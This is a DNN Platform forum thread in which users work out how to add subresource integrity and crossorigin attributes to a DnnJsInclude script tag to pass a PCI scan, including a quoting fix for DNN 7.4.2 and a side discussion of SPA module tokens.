After a PCI scan, we are having a script src integrity check issue. I checked online and saw adding an integrity property with value as a key generated using https://www.srihash.org/ . However I think the integrity property here isn’t recognized and all the interface gets messed up. Is there any way to set it ? Kindly let me know if my question is not clear. Thank you for your time in advance.
Thanks
0
Posts:129
There is, in fact, a little known method for adding attributes to these script tags. The DnnJsInclude
control has a HtmlAttributesAsString
property which can be used to add attributes. In your example, that would look like this:
<%@ Register TagPrefix="dnn" Namespace="DotNetNuke.Web.Client.ClientResourceManagement" Assembly="DotNetNuke.Web.Client" %>
<dnn:DnnJsInclude runat="server" FilePath="https://use.typekit.net/xie1khe.js" HtmlAttributesAsString="integrity:sha384-cVzjI50ULMD2q5gObcDlRz+PX+kfeUHv+/Wv4WSV5DDVwYC2fOWGbkdUeaAFgcln,crossorigin:anonymous" />
At one point I had found that setting multiple attributes this was wasn’t working, and there was a fix in DNN 9.2 which addressed that; however, testing just now, this did work on my DNN 7.4.2 site, so hopefully this works for you. One caveat is that you do need to use the DnnJsInclude
class from DotNetNuke.Web.Client.ClientResourceManagement
(see the <%@ Register … %>
directive above), rather than the skin/theme object by the same name.
DNN partner specializing in custom, enterprise DNN development https://engagesoftware.com/showcase
4
Posts:8
Hi Brian,
Thank you so much for your reply. I had tried adding the HtmlAttributesAsString in my website before. So my complete code was something as follows :
<%@ Register TagPrefix=»dnn» Namespace=»DotNetNuke.Web.Client.ClientResourceManagement» Assembly=»DotNetNuke.Web.Client» %> (at the top of the page)
then
<dnn:dnnjsinclude filepath=»https://use.typekit.net/xie1khe.js» htmlattributesasstring=»crossorigin:’anonymous’,integrity:’sha384-cVzjI50ULMD2q5gObcDlRz+PX+kfeUHv+/Wv4WSV5DDVwYC2fOWGbkdUeaAFgcln'» id=»SomeID» runat=»server»>
But when I right click and inspect element and check the console, it gives me the following error :
Error parsing ‘integrity’ attribute (»sha384-cVzjI50ULMD2q5gObcDlRz+PX+kfeUHv+/Wv4WSV5DDVwYC2fOWGbkdUeaAFgcln»). The specified hash algorithm must be one of ‘sha256’, ‘sha384’, or ‘sha512’ .
Am I doing something wrong ? Is there any way to test if the added integrity constraint is working correctly ?
KIndly let me know if I am not clear.
Thanks !
0
Posts:129
It looks like the newer versions allow you to wrap the attribute values in single quotes, but the version in DNN 7.4.2 does not. If you remove the single quotes it should work.
DNN partner specializing in custom, enterprise DNN development https://engagesoftware.com/showcase
2
Posts:8
It worked !!!
Thank you very much for helping me
0
Posts:84
Hmm, interesting, I did not know about this. Is that supported as a SPA token too ?
0
Posts:129
Nope, the SPA token only supports six properties https://github.com/dnnsoftware/Dnn.Platform/blob/83ee0001477f570e65b3883300199a81288769b8/DNN%20Platform/Library/Services/Tokens/PropertyAccess/JavaScriptPropertyAccess.cs
DNN partner specializing in custom, enterprise DNN development https://engagesoftware.com/showcase
1
Posts:84
Thanks for the link, I was wondering what code the tokens fired
0
Posts:84
Am I correct in assuming a module could extend this to use custom tokens by implementing IPropertyAccess or something like that ?
0
Posts:129
SPA modules have an extension mechanism, but typically the TokenReplace
type will have a hard-coded list of IPropertyAccess
implementations, see e.g. HtmlTokenReplace
(which is the base class for the SPA module token replace, but also used for the HTML module).
For a SPA module, the module’s business controller class can implement ICustomTokenProvider
(here’s where that’s found and called).
DNN partner specializing in custom, enterprise DNN development https://engagesoftware.com/showcase
0
These Forums are dedicated to discussion of DNN Platform.
For the benefit of the community and to protect the integrity of the ecosystem, please observe the following posting guidelines:
- If you have (suspected) security issues, please do not post them in the forums but send an email to [email protected]
- No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DNN.
- No vendor trolling / poaching. If someone posts about a vendor issue, allow the vendor or other customers to respond. Any post that looks like trolling / poaching will be removed.
- Discussion or promotion of DNN Platform product releases under a different brand name are strictly prohibited.
- No Flaming or Trolling.
- No Profanity, Racism, or Prejudice.
- Site Moderators have the final word on approving / removing a thread or post or comment.
- English language posting only, please.
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.